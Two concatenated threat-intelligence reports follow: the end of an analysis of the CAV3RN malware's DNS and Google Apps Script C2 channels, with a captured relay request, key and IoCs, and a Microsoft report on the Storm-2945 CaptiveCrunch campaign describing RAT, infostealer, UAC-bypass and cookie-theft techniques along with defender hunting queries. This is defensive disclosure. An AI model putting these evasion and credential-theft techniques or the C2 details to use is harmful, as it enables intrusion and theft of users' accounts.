The module supports five internal commands:

The module reads conf.json from the process’s current working directory. If it is missing, the module generates a seven-character client identifier and writes its embedded defaults to disk.

{
  "to": "<generated seven-character ID>", // Client ID
  "ad": "https://api.studiotikva.com/api/v1/update/check", // Direct C2 URL
  "ho": "studiotikva.com", // DNS domain
  "gi": "<redacted>", // Apps Script deployment ID
  "de": false, // Enable Debug logging at startup
  "mi": 120000, // Poll-delay reset after a non-empty response
  "ma": 18000000, // Progressive poll-delay cap
  "ri": 30000, // Base DNS recovery/error delay, with positive jitter
  "ga": "s3criitC0d3/8-)B-,)", // Apps Script relay authentication key
  "gu": "https://script.google.com/macros/s/{0}/exec",
  "ua": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31",
  "mcc": 50, // unknown
  "mtc": 10 // unknown
}

The s_config command can replace these settings in memory but does not update the file. DNS recovery is the exception: a recovered Apps Script deployment ID is written back to conf.json.

Before polling for commands or sending a result, the module performs a DNS A-record query to select Direct HTTPS or Google Apps Script:

<random nonce><error state>.<hex-encoded client ID>.m.studiotikva.com

The first label combines a three- or four-character uppercase alphanumeric nonce with the current error state: 0 for None, 1 for GIDFailed, 2 for GoogleFailed, and 3 for DirectFailed. Each new transaction starts in state 0.

The exact response 12.19.29[.]30 is treated as a rejection. Other responses are interpreted according to their fourth octet:

During analysis, valid .m queries returned 12.121.234[.]120, while malformed queries returned 12.19.29[.]30. For example, YCZ2.41414141303030.m.studiotikva[.]com carries state 2, so the final octet 120 selects Direct HTTPS.

CAV3RN DNS control-plane response: the final octet 120 selects the direct HTTPS channel

When Google mode is selected, the module calculates the MD5 digest of its stored deployment ID and compares its first four bytes with the A record returned by <random5>.<hex-ID>.q.studiotikva[.]com. A mismatch causes the module to retrieve a replacement through .p queries: <random5>.<hex-ID>.p.studiotikva[.]com.

DNS-based deployment-ID freshness check

The offset-0 response contains a one-byte length followed by the first three ID bytes. Each subsequent response contributes four bytes. The observed response 74.65.75.102 represents 4A 41 4B 66: a length of 74 followed by AKf. The DLL stops after collecting the declared length and discards the final padding byte rather than requesting offset 76.

DNS recovery of the Google Apps Script deployment ID: the offset-0 response contains the length byte and first three ID characters, followed by four-byte continuation chunks

One initial response and 18 continuation responses produced a 74-character deployment ID, shown redacted as AKfycby46v0DPSEKWYa****dvQ. The .q response 247.188.216[.]122 contains the bytes f7 bc d8 7a, matching the first four MD5 bytes of the recovered value. This is a 32-bit freshness check.

Wireshark capture showing the .p query sequence used for chunked retrieval of the Google Apps Script deployment ID

Google Apps Script channel

When DNS selects Google mode, the module inserts the deployment ID into https://script.google[.]com/macros/s/{deployment-ID}/exec.

Direct GET requests return a decoy page titled My App with the message This application is running normally. C2 polling instead uses an outer POST to Apps Script whose "m":"GET" field instructs the relay to issue a GET request to its upstream server:

POST /macros/s/AKfycbw2Wo4nYIQ*************UxSvjunDmNpeA/exec HTTP/1.1
Host: script.google.com
Content-Type: application/json

{"k":"s3criitC0d3/8-)B-,)","m":"GET","h":{"X-Client-Id":"AAAA000","User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31"},"b":null,"ct":null,"r":true}

The request returns a 302 redirect; a redirect-following client subsequently receives a 200 OK serving the response:

HTTP/2 302
content-type: text/html; charset=UTF-8
access-control-allow-origin: *
location: https://script.googleusercontent.com/macros/echo?user_content_key=AUkAhnT1XStTpObO…&lib=MQif1e23CL4IxZSlC7RWEgUDuxmmFKhYR
server: GSE

HTTP/2 200
content-type: application/json; charset=utf-8
access-control-allow-origin: *
server: GSE

{"s":200,"h":{"Content-Type":"text/html; charset=utf-8","Vary":"Cookie","Server":"nginx","Content Length":"4","Connection":"keep-alive","Date":"Mon, 03 Aug 2026 20:07:54 GMT","Access-Control-Allow-Origin":"*"},"b":"OS9FPQ=="}

Decoding b produces 9/E=; decoding it again produces f7 f1, which XORs with 0xAC to [], indicating an empty task list. An upstream timeout also exposed https://api.studiotikva[.]com/ac, confirming that the Apps Script deployment forwards requests to an actor-controlled backend.

Direct HTTPS channel

When DNS selects Direct HTTPS, the module contacts the configured ad address, https://api.studiotikva[.]com/api/v1/update/check, without using the relay. This occurs when the final octet is 130 (0x82) in the None, GIDFailed, or GoogleFailed states, or 120 (0x78) in the GIDFailed or GoogleFailed states. The endpoint expects the custom X-Client-Id header; requests without the expected header return {"res":"failed"} in its HTTP response.

However, a GET request carrying the correct X-Client-Id value receives a 76-byte body as shown in the following figure:

GET request to the header-gated C2 endpoint and its encoded tasking response

Base64-decoding the response body and XORing it with 0xAC produced the following broker-directed task packet: [{"type":"broker","cid":109,"payload":"002_;;__,_"}]. The broker type instructs the communication module to forward the task to the local broker.

Inter-component DLL broker

The inter-component broker, rnp.dll, is a 64-bit DLL compiled with Microsoft Visual C++. Its embedded PDB path is C:\Users\user\Desktop\Modules\broker-cavern\1.out\rnp.pdb. It masquerades as the RNP OpenPGP library through numerous rnp_* exports, while rnp_backend_string starts the broker.

The broker coordinates the framework’s DLL components. At startup, it creates the BROKER control structure, initializes its message dispatcher, and scans the host directory for DLLs. Components are grouped by CompanyName, and the highest-version candidate from each group is loaded if it exposes GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate.

The directory is rescanned every second, allowing a component to be added or upgraded without restarting the host. Updates require a higher-version DLL under a new path; replacing an existing file in place is not detected.

Loaded components exchange messages through the broker. It locates the requested destination and invokes that component’s callback. Unknown destinations return Err1::<destination>, while unavailable components return Err2::<destination>.

The 002_;;__,_ task recovered from the Direct HTTPS channel is forwarded by the communication module to this broker, which returns its component inventory. When unloading or replacing a component, the broker calls its IsPrimeNumber export and waits for its worker threads to stop before unloading the DLL.

Infrastructure

Historical records show that studiotikva[.]com was first registered in February 2024. Wayback Machine captures show Wix’s default disconnected-domain page, while passive DNS associated the domain with Wix infrastructure hosted in an Israeli data center. The domain expired in February 2026 and was subsequently re-registered. It may therefore have originally belonged to a legitimate Israeli business and been acquired by the threat actor only after its expiration; the available evidence does not indicate when ownership changed.

The domain was registered again on May 12, 2026, and redelegated on May 19 to ns1.studiotikva[.]com and ns2.studiotikva[.]com, resolving to 144.172.115[.]17 and 144.172.104[.]82. It later hosted a generic “Studio Tikva” website that provided locally plausible cover: “Tikva” (תקווה) means “hope” in Hebrew.

The infrastructure supported authoritative DNS and direct HTTPS C2. The Google Apps Script deployment acted as an application-layer relay; during an upstream timeout, it exposed https://api.studiotikva[.]com/ac, revealing the actor-controlled backend endpoint.

Conclusions

Project CAV3RN continues to evolve, introducing increasingly sophisticated components and communication capabilities. By abusing legitimate services — previously Outlook calendar events and now Google Apps Script — the framework blends its C2 traffic with normal network activity, complicating network-based detection. Given its development pace, modular design, and operational tempo, we assess that CAV3RN will likely continue to expand. We will continue tracking the framework and reporting on its activity in the wild.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

904784c9943d019da332bea2cd03996f              CommunicationUxTheme.dll
f9156d42410c8a5429dec43329bd72e0              net.dll
2dcd4a8ac166404977cd3c48418a8cd9              rnp.dll
981c7404d31b8ce35ec88a6b290f354d              GoogleService.dll
34d50eec364d920b8b5d885c9bc98607             texture.dll

Domains and IPs

studiotikva[.]com
api.studiotikva[.]com
ns1.studiotikva[.]com
ns2.studiotikva[.]com
144.172.115[.]17
144.172.104[.]82

Since early May 2026, Microsoft Threat Intelligence has observed Storm-2945, a sub-cluster of Midnight Blizzard, conducting widespread but targeted traffic manipulation attacks involving hospitality sector networks served by captive portals worldwide. Despite some tactic, technique, and procedure (TTP) similarities to the Forest Blizzard DNS hijacking operation that we publicly disclosed in April 2026, we attribute this campaign, which we call CaptiveCrunch, to Storm-2945. As reported by ReliaQuest on July 23, a portion of this activity leverages doppelganger domains mimicking Microsoft online services to conduct follow-on adversary-in-the-middle (AitM) phishing operations that abuse the device code authentication flow in Microsoft Entra ID. Microsoft Threat Intelligence has also identified active traffic manipulation attacks leading to the delivery of malware on impacted systems. Microsoft has observed Storm-2945 leveraging AI to support a significant portion of these operations.

Today, we are sharing our findings on these ongoing intrusions to raise awareness of this threat and enable customers to protect their devices, especially while traveling. We provide our assessment of Storm-2945’s relationship to Midnight Blizzard and analysis of the CaptiveCrunch campaign, detailing the malware and tradecraft used in these operations. We also provide mitigation, detection, and hunting guidance to help organizations identify and defend against Storm-2945 and related activity.

Microsoft Threat Intelligence would like to thank our partners at Anthropic and OpenAI for their collaboration and support during this investigation.

The CaptiveCrunch campaign

Since February 2026, Storm-2945 has conducted AI-augmented operations including targeted device code and OAuth code phishing campaigns leading to Entra device registration and subsequent data collection from Microsoft 365. Since early May 2026, Microsoft Threat Intelligence has observed Storm-2945 manipulating DNS and HTTP traffic from networks served by captive portals to redirect user traffic through actor-controlled infrastructure. Although our investigation into the initial compromise vector for the captive portal networks is ongoing, we have observed notable commonalities in the equipment and management systems used across multiple affected networks. These similarities suggest that the activity might not be limited to isolated compromises of individual venues and could reflect access to shared services within portions of the captive portal ecosystem.

As part of the CaptiveCrunch campaign, Storm-2945 has leveraged their AitM position to redirect users through actor-controlled phishing infrastructure and has also delivered malware purporting to be browser or operating system updates in response to automated connectivity checks issued by users’ browsers. Multiple variants have been delivered, including fully-featured Windows remote access trojans (RAT) in compiled Golang, with functionality to conduct system enumeration, collect files and keystrokes, steal credentials and session tokens, conduct audio and video surveillance, monitor for removable media, and provide the threat actor a remote shell on infected systems.  

The threat actor infrastructure leverages a variety of ClickFix techniques to elicit the user into downloading and executing the malware:

In addition to variants of malware targeting Windows systems, Microsoft Threat Intelligence is also aware of indications that the threat actor might be targeting Android devices with similar techniques as the ClickFix landings also include instructions for Android devices to download and install an APK file.

To date, Microsoft has identified widespread compromise of Wi-Fi networks at hospitality-related organizations and other networks serviced by captive portal equipment in several countries. ReliaQuest has identified this activity not only at hotels, but also conference centers and other shared venues, and assesses that the goal of this activity is to access the accounts of corporate travelers.

Storm-2945 and Midnight Blizzard

Microsoft Threat Intelligence assesses that Storm-2945 is an operational sub-cluster of Midnight Blizzard based on distinctive technical and operational overlaps. These include technical similarities to Storm-2372, a Midnight Blizzard initial access operations sub-cluster, also notable for their device code and OAuth code phishing operations tracked throughout 2025, Microsoft Graph-based email exfiltration, social engineering delivered via commercial messaging apps, and significant similarities in victimology.

Midnight Blizzard is a Russia-based threat actor attributed by the US and UK governments to the Foreign Intelligence Service of the Russian Federation, also known as the SVR. This threat actor is known to primarily target governments, diplomatic entities, non-governmental organizations (NGOs), and information technology (IT) service providers, primarily in the US and Europe. Midnight Blizzard is consistent and persistent in their operational targeting, and their objectives rarely change. Their focus is to collect intelligence through longstanding and dedicated espionage in support of Russian foreign policy interests.

Midnight Blizzard operations often involve compromise of valid accounts and, in some highly targeted cases, advanced techniques to compromise authentication mechanisms within an organization to expand access and evade detection. They utilize diverse initial access methods, and Midnight Blizzard is also adept at identifying and abusing OAuth applications to move laterally across cloud environments and for post-compromise activity, such as email collection.

CaptiveCrunch tradecraft and tooling

CornFlake: Remote access and infostealer implant

CornFlake is a full-featured Windows RAT written in Go that serves as Storm-2945’s primary persistent implant. Microsoft has observed the threat actor rapidly iterating on this malware layer, which features customizable capabilities from the social engineering user interface and data collection capabilities to anti-detection and evasion techniques.

On initial execution, CornFlake operates in dropper mode: it displays a convincing fake progress window designed to occupy the victim’s attention while the binary copies itself to %APPDATA%\svchost32\svchost32.exe and establishes persistence.

Fake window options configurable by the threat actor at build time:

• winupdate — A Windows Update screen displaying “Working on updates… Don’t turn off your computer”
• defender — A Windows Security virus scan
• directx — A DirectX End-User Runtime Web Installer
• vcredist — A Microsoft Visual C++ 2015-2022 Redistributable installer
• sysopt — A disk optimization utility
• netfix — A Windows Network Diagnostics tool
• browser — A browser update prompt
• pdfview — A document viewer installer

CornFlake registers as a Windows service named svchost32 with the display name “Cloud Sync Service” and description “Synchronizes files with the cloud storage provider”, deliberately mimicking the legitimate svchost.exe process. It establishes redundant persistence mechanisms: Windows service registrations, Registry Run keys, named scheduled tasks, and a persistence watchdog routine that runs continuously to restore any persistence mechanism that is removed by defenders or endpoint protection.

For command and control (C2), CornFlake performs an Elliptic Curve Diffie-Hellman (ECDH) P-256 ephemeral key exchange with the C2 server, derives a session key via SHA-256, and communicates over a custom JSON protocol framed within the encrypted channel. This provides an encrypted channel to the C2 server, with each C2 session using a unique ephemeral key, making decryption of captured traffic impossible without the session-specific private key. The runtime configuration file sync.dat supports hot reconfiguration of C2 servers, watched directories, file targeting patterns, and Transport Layer Security (TLS) settings without requiring redeployment.

Once established on a victim system, CornFlake provides the operator with a comprehensive collection toolkit, gated by configuration flags that allow selective activation post-deployment:

CornFlake also exposes a localhost HTTP API server (/upload, /reload, /status) that transforms the RAT into a modular platform: companion or next-stage payloads such as ChocoShell could task file exfiltration, trigger configuration hot reloads or check C2 connectivity using the pre-established secure C2 channel for communication.

ChocoShell: PowerShell infostealer

ChocoShell is the campaign’s Powershell-based infostealer, delivered and executed entirely in-memory. Its primary objective is the high-volume theft of browser session cookies, saved passwords, Microsoft 365 Single Sign-On (SSO) tokens, and Wi-Fi credentials from compromised systems. Where CornFlake provides the operator with a persistent, long-running foothold on the device, ChocoShell is designed to extract the most operationally valuable credentials, giving the operator access to victim cloud environments.

The ChocoShell script was authored with full developer comments that reveal the operator’s intent behind each code decision, including explicit references to Microsoft detection signatures and the reasoning behind specific evasion choices. The consistent coding standard and descriptive commentary suggest the author might have leveraged AI-assisted code generation.

Defense evasion. Upon execution, ChocoShell beacons to a hardcoded C2 server at 213.145.86[.]112 and implements several evasion techniques in sequence. It disables the Antimalware Scan Interface (AMSI) via .NET reflection to prevent ScriptBlock scanning and evades Microsoft behavioral detection that triggers on suspicious PowerShell web request cmdlets. A timing-based sandbox detection check is also employed as a virtual machine (VM) detection mechanism, silently exiting without performing any collection if detected.

C2 communication. ChocoShell communicates with its C2 server using HTTPS with URI paths designed to blend in with legitimate web traffic. Beacons use /t/pixel.gif?m=<status>, mimicking an image tracking pixel. Additional tooling is fetched from /cdn/chunks/polyfill-7e2b.min.js, disguised as a JavaScript polyfill file. This downloaded module is Base64-decoded and executed in memory via [ScriptBlock]::Create(), providing browser encryption key extraction capabilities, SYSTEM token impersonation, and Defender signature locking. Exfiltrated data is sent by POST to /t/event as GZip-compressed, Base64-wrapped JSON.

Privilege escalation. ChocoShell requires administrative privileges for its most impactful capabilities: SYSTEM token impersonation for Chrome ABE decryption, Volume Shadow Copy Service (VSS) shadow copy creation, Defender signature locking. It implements three silent UAC bypass techniques with ordered fallback:

1. SilentCleanup task hijack: Writes a malicious command to HKCU\Environment\windir, then triggers the built-in SilentCleanup scheduled task, which resolves %windir% from the user’s environment, executing the threat actor’s command at elevated privilege. The registry value is cleaned up after two seconds to avoid cloud detection.
2. wsreset.exe COM hijack: Creates a COM handler key in HKCU\Software\Classes and launches the auto-elevating Windows Store reset tool.
3. sdclt.exe folder hijack: Hijacks HKCU\Software\Classes\Folder\shell\open\command and launches the Windows Backup utility with the /KickOffElev flag.

If none of the silent bypasses succeed (for example, the user is not a local administrator), ChocoShell falls back to a visible UAC prompt via Start-Process -Verb RunAs. Notably, the script also contains a variant designed to execute within the WinGet Desired State Configuration (DSC) host process (ConfigurationRemotingServer), suggesting an attack vector through malicious WinGet DSC configuration used in Windows machine provisioning.

Credential and session theft. Once running with elevated permissions, ChocoShell locks Defender signature updates and systematically harvests data from multiple sources. For Chromium-based browsers (Chrome, Edge, Brave, Opera, Opera GX, Vivaldi), it extracts the master encryption key from the browser’s Local State file, handling both the modern ABE scheme (Chrome v127+) and the legacy data protection API (DPAPI)-only scheme. ABE decryption requires SYSTEM-level DPAPI access, which the malware obtains by impersonating a SYSTEM process token borrowed from winlogon.exe, wininit.exe, or services.exe. Locked browser SQLite databases are accessed through three strategies: shared file access, Volume Shadow Service snapshots, and direct copy as a fallback.

As a parallel collection path, ChocoShell launches Chrome, Edge, and Brave with the –remote-debugging-port flag and issues Network.getAllCookies through the Chrome DevTools Protocol (CDP). This completely bypasses ABE, enabling the browser to perform its own internal decryption and returns plaintext cookie values. To handle privilege issues (SYSTEM-launched browsers inherit the wrong token), the malware creates transient scheduled tasks with TASK_LOGON_INTERACTIVE_TOKEN to launch the browser under the signed-in user’s session. After extraction, the browser is stopped and relaunched with –restore-last-session to avoid alerting the user.

For Firefox family browsers (Firefox, Waterfox, LibreWolf, Floorp, Zen), the malware copies unencrypted cookies.sqlite databases from each profile. Additionally, ChocoShell collects Microsoft 365 and Azure Active Directory (AD) access tokens, refresh tokens, and Web Account Manager (WAM) tokens from .tbres files in the Token Broker cache. Collection of these tokens represents a significant threat to enterprise environments, as threat actors could replay SSO sessions without browser cookies. Additionally, Wi-Fi credentials are harvested via netsh wlan show profile with key=clear.

Exfiltration and cleanup. All collected data is aggregated into a JSON structure, GZip-compressed, Base64-encoded, and sent by POST to the C2’s /t/event endpoint. After exfiltration, all collected data variables are nulled, garbage collection is forced, VSS shadow copies are deleted via Windows Management Instrumentation (WMI), temporary elevation scripts are removed, and all UAC bypass registry keys (already cleaned during escalation) are verified removed.

FruitStone: Operator C2 panel

FruitStone is the web-based C2 panel that Storm-2945 operators use to manage the entire CaptiveCrunch campaign infrastructure. Implemented as a single-page application (HTML and JavaScript) serving as the front-end of the C2 server with all functionality exposed without authentication, FruitStone provides a centralized dashboard for managing compromised endpoints, building and deploying new campaign payloads, and reviewing all collected data (such as screenshots, keystrokes, browser credentials).

Operational cover. The panel is branded as “CloudSync Console” with a footer reading “Acuity Systems, Inc. — Cloud Infrastructure Portal v3.2.1,” designed to appear as legitimate enterprise cloud management software if the panel URL is discovered by defenders or hosting providers. This masquerading extends to the CornFlake agent’s service name (Cloud Sync Service) and description (“Synchronizes files with the cloud storage provider”), creating a consistent cover story across the toolchain.

Session management and multi-operator support. FruitStone uses JSON Web Token (JWT)-based authentication, session revocation, and rate limiting with IP blocking to prevent brute force attacks against the panel sign in. Multiple operators could be provisioned with individual accounts, and all active sessions are visible with IP address, user-agent, and creation time to enable operational security awareness across the operators.

Agent management. The panel displays all registered CornFlake agents in a dashboard with real-time status updates via Server-Sent Events (SSE). Each agent card shows comprehensive system information including hostname, username, OS version, CPU, RAM, disk usage, screen resolution, timezone, domain membership, and camera/microphone presence, all collected during the CornFlake posture sweep. Agents are grouped by country and subnet, with geographic distribution visualized on a map.

Operators could interact with individual agents through:

• Remote shell — Interactive cmd.exe or PowerShell command execution with command history
• File system browser — Live directory traversal and arbitrary file download from compromised hosts
• Collection tasking — On-demand screenshot, process list, keylog buffer flush, clipboard dump, security posture survey, ChromeKatz cookie/password extraction, camera capture, and audio recording
• Configuration push — Live runtime reconfiguration of C2 servers, watch paths, and C2 beacon timing
• Agent update — In-place implant update by pushing a new CornFlake build to a running agent
• Agent kill — Remote termination of the CornFlake implant

Campaign builder. A step-by-step wizard enables operators to configure and build new CornFlake payloads directly from the panel:

1. Identity — Campaign ID, C2 host and port, HTTP base URL, executable file name (svchost32.exe by default), and dropper type (C dropper at ~19 KB, Go stub at ~8 MB, or standalone self-installer)

2. Capabilities — Toggle individual collection modules: screenshots, process enumeration, keylogging, clipboard monitoring, posture survey, file exfiltration, and ChromeKatz browser credential theft

3. File Paths — Configure targeted directories and file extensions by category (documents, archives, images, code, data, emails, encryption keys)

4. Evasion — Enable garble symbol randomization (for GoLang payloads), XOR string encoding, GZip upload compression, and debug mode

Infrastructure management. FruitStone provides management interfaces for three layers of supporting infrastructure:

• Proxy relays — Multi-proxy C2 relay architecture with TLS certificate tracking (fingerprint, expiry), health checks, connection counts, bytes forwarded, and rotation capabilities that push updated server lists to all online agents
• Beacon profiles — Configurable timing profiles controlling agent sleep intervals, reconnection delays, TLS Server Name Indication (SNI) spoofing (like teams.microsoft.com), and DNS fallback domains
• Staging servers — External payload hosting infrastructure with push-to-deploy, file listing, and health monitoring

Device code abuse for cloud access

Since July 16, Microsoft has observed a portion of CaptiveCrunch landing pages redirecting users to device code authentication flow experiences. In these cases, users served these landings might be instructed to enter a device code into a legitimate Microsoft sign-in page, a technique commonly referred to as device code phishing.

Device code authentication is a legitimate OAuth workflow designed for devices that cannot support a traditional sign-in experience. However, threat actors could abuse this flow by initiating an authentication request on behalf of a user then convincing the user to enter an actor-controlled device code into a legitimate Microsoft authentication page. When successful, the victim authenticates the threat actor’s session rather than their own.

This activity is consistent with previously reported device code phishing operations conducted by Midnight Blizzard since August 2024. The observed technique does not appear fundamentally novel; however, integrating device code phishing into captive portal and traffic manipulation operations might increase the likelihood that users perceive the authentication request as legitimate. For additional details on Midnight Blizzard-related device code phishing techniques, see: Storm-2372 conducts device code phishing campaign. To understand other threat actors’ use of device code phishing and associated mitigations, see Inside an AI‑enabled device code phishing campaign.

How to protect against CaptiveCrunch activity

Minimize trust in hospitality and guest networks

When traveling, users should treat hotel, conference, airport, and other guest wireless networks as untrustworthy.

• Prefer private connectivity (including mobile hotspots, satellite, and eSIM-based cellular data connections) over public Wi‑Fi whenever practical.
  • For enterprise-managed devices, organizations can choose to prevent Wi-Fi connections to networks that have not been provisioned via Mobile Device Management (MDM). See: https://learn.microsoft.com/windows/client-management/mdm/policy-csp-wifi#allowmanualwificonfiguration
• Consider using enterprise-managed travel routers or hotspot devices that establish encrypted tunnels back to trusted corporate infrastructure before accessing sensitive resources.
• Avoid downloading software updates, certificates, browser updates, network troubleshooting tools, or security utilities presented through captive portals or other unexpected web prompts.
• Verify update requests through trusted operating system mechanisms rather than pop-up messages or website prompts.

Strengthen identity and access controls

Organizations should assume that public and hospitality network infrastructure might not be trustworthy and should adopt controls that limit exposure to traffic manipulation, credential theft, and device code phishing.

• Educate users to recognize ClickFix-style prompts, fake verification checks, and paste-and-run instructions as malicious, especially when they invoke command interpreters or script hosts such as cmd.exe, PowerShell, rundll32.exe, or mshta.exe.
• Use passwordless solutions like passkeys and implement multifactor authentication (MFA).
  • Use the Microsoft Authenticator app for passkeys and MFA, and complement MFA with conditional access policies, where sign-in requests are evaluated using additional identity-driven signals.
  • Conditional access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA.
  • Your passkey and MFA policy can be further secured by only allowing MFA and passkey registrations from trusted locations and devices.
• Only allow device code flow where necessary. Microsoft recommends blocking device code flow wherever possible. Where necessary, configure Microsoft Entra ID’s device code flow in your Conditional Access policies.
• Implement a sign-in risk policy to automate response to risky sign-ins. A sign-in risk represents the probability that a given authentication request is not authorized by the identity owner. A sign-in risk-based policy can be implemented by adding a sign-in risk condition to Conditional Access policies that evaluates the risk level of a specific user or group. Based on the risk level (high/medium/low), a policy can be configured to block access or force MFA.
  • When a user is a high risk and Conditional access evaluation is enabled, the user’s access is revoked, and they are forced to re-authenticate.
  • For regular activity monitoring, use Risky sign-in reports, which surface attempted and successful user access activities where the legitimate owner might not have performed the sign-in. 
• Use a Security Service Edge (SSE) solution like Global Secure Access to secure access to any app or resource using network, identity, and endpoint access controls.

Reduce exposure during captive portal registration

Organizations should review what information employees provide to hospitality providers when connecting to guest networks.

• Do not reuse corporate credentials on hotel, conference, or guest-network registration pages.
• Where possible, organizations should evaluate whether venue-provided wireless is required for corporate events and conferences.
• Organizations should minimize unnecessary disclosure of employee identities, organizational affiliations, and travel details when booking accommodations or registering for guest network access, consistent with corporate policy and applicable local requirements.

Microsoft Defender detections and hunting guidance

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Defender for Endpoint detects Storm-2945 activity under the detection Suspicious activity linked to a Russian state-sponsored threat actor has been detected. However, these alerts might be triggered by unrelated threat actor activity. The following chart lists Microsoft Defender detections specific to the TTPs utilized by Storm-2945 in this attack.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Actor profile: Midnight Blizzard

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Detect file creation after Wi-Fi connectivity test on devices

The following query checks for a file creation on a device within two minutes of the device performing built‑in Network Connectivity Status Indicator (NCSI) test, which occurs when network connectivity is established to a Wi-Fi network with a captive portal. This activity might indicate an attacker’s initial access file presence on a device.

Please note that not all files discovered through this query might be malicious or related to this threat activity.

let ncsi_endpoints = dynamic(["msftconnecttest.com","edge-http.microsoft.com","msftncsi.com","captive.apple.com","clients1.google.com",
    "clients3.google.com","clients4.google.com","clients6.google.com","connectivitycheck.gstatic.com","connectivitycheck.android.com",
    "android.clients.google.com","www.gstatic.com","detectportal.firefox.com","detectportal.brave-http-only.com","cloudflareportal.com",
    "cloudflarecp.com","cloudflareok.com","connectivity-check.warp-svc","connectivity.cloudflareclient.com","spectrum.s3.amazonaws.com",
    "nmcheck.gnome.org"]);
let NCSIEvents = DeviceNetworkEvents
    | where Timestamp > ago(7d)
    | where RemoteUrl has_any (ncsi_endpoints)
    | project NCSI_Timestamp = Timestamp, DeviceId, DeviceName, RemoteUrl, NCSI_ReportId = ReportId, NCSI_InitiatingProcessFileName = InitiatingProcessFileName, NCSI_InitiatingProcessCommandLine = InitiatingProcessCommandLine, NCSI_AccountName = InitiatingProcessAccountName;
let FileDownloadEvents = DeviceFileEvents
    | where Timestamp > ago(7d)
    | where ActionType == "FileCreated"
    | where FileName has_any (".exe",".msi",".zip",".rar",".7z")
    | project Download_Timestamp = Timestamp, DeviceId, FileName, FolderPath, Download_ReportId = ReportId, Download_InitiatingProcessFileName = InitiatingProcessFileName, Download_InitiatingProcessCommandLine = InitiatingProcessCommandLine, Download_AccountName = InitiatingProcessAccountName;
NCSIEvents
| join kind=inner (
    FileDownloadEvents
) on DeviceId
| where Download_Timestamp >= NCSI_Timestamp and Download_Timestamp 

Detect connectivity to Storm-2945 infrastructure

The following query checks for connectivity to Storm-2945 infrastructure observed in this attack activity.

let target_domains = dynamic(["ms365-device.com", "ms365-live.com", "m365-owa.com", "owa-ms365.com"]);
let target_ips = dynamic(["31.57.243.154", "38.146.28.75", "38.146.28.132", "104.194.159.150", "107.189.26.194", "213.145.86.112"]);
DeviceNetworkEvents
| where RemoteUrl has_any(target_domains) or RemoteIP in (target_ips)
| project
    Timestamp,
    DeviceName,
    DeviceId,
    RemoteUrl,
    RemoteIP,
    LocalIP,
    InitiatingProcessFileName,
    InitiatingProcessCommandLine,
    AccountName = InitiatingProcessAccountName,
    ReportId

Detect CornFlake RAT presence on affected systems

The following query checks for the presence of the CornFlake RAT binary.

DeviceProcessEvents
| where FolderPath == "%APPDATA%\\svchost32\\svchost32.exe"
   or FolderPath endswith @"\svchost32\svchost32.exe"
| project Timestamp, DeviceName, DeviceId, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName, ReportId

Detect CornFlake RAT Windows service registration

The following query checks for the CornFlake RAT Windows service registration.

DeviceRegistryEvents
| where RegistryKey has @"\SYSTEM\CurrentControlSet\Services\svchost32"
| where ActionType == "RegistryValueSet"
| where (RegistryValueName == "DisplayName" and RegistryValueData == "Cloud Sync Service")
    or (RegistryValueName == "Description" and RegistryValueData == "Synchronizes files with the cloud storage provider")
| project
    Timestamp,
    DeviceName,
    DeviceId,
    RegistryKey,
    RegistryValueName,
    RegistryValueData,
    ActionType,
    InitiatingProcessFileName,
    InitiatingProcessCommandLine,
    InitiatingProcessAccountName,
    ReportId

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Detect network IP and domain indicators of compromise using ASIM

The following query checks IP addresses and domain IOCs across data sources supported by ASIM network session parser:

//IP list and domain list- _Im_NetworkSession
let lookback = 30d;
let ioc_ip_addr = dynamic(["213.145.86.112"]);
let ioc_domains = dynamic(["213.145.86.112/t/pixel.gif", "213.145.86.112/cdn/chunks/polyfill-7e2b.min.js", "213.145.86.112/t/event"]);
_Im_NetworkSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or DstDomain has_any (ioc_domains)
| summarize imNWS_mintime=min(TimeGenerated), imNWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, DstDomain, Dvc, EventProduct, EventVendor

Detect web sessions IP and file hash indicators of compromise using ASIM

The following query checks IP addresses, domains, and file hash IOCs across data sources supported by ASIM web session parser:

//IP list - _Im_WebSession
let lookback = 30d;
let ioc_ip_addr = dynamic(["213.145.86.112"]);
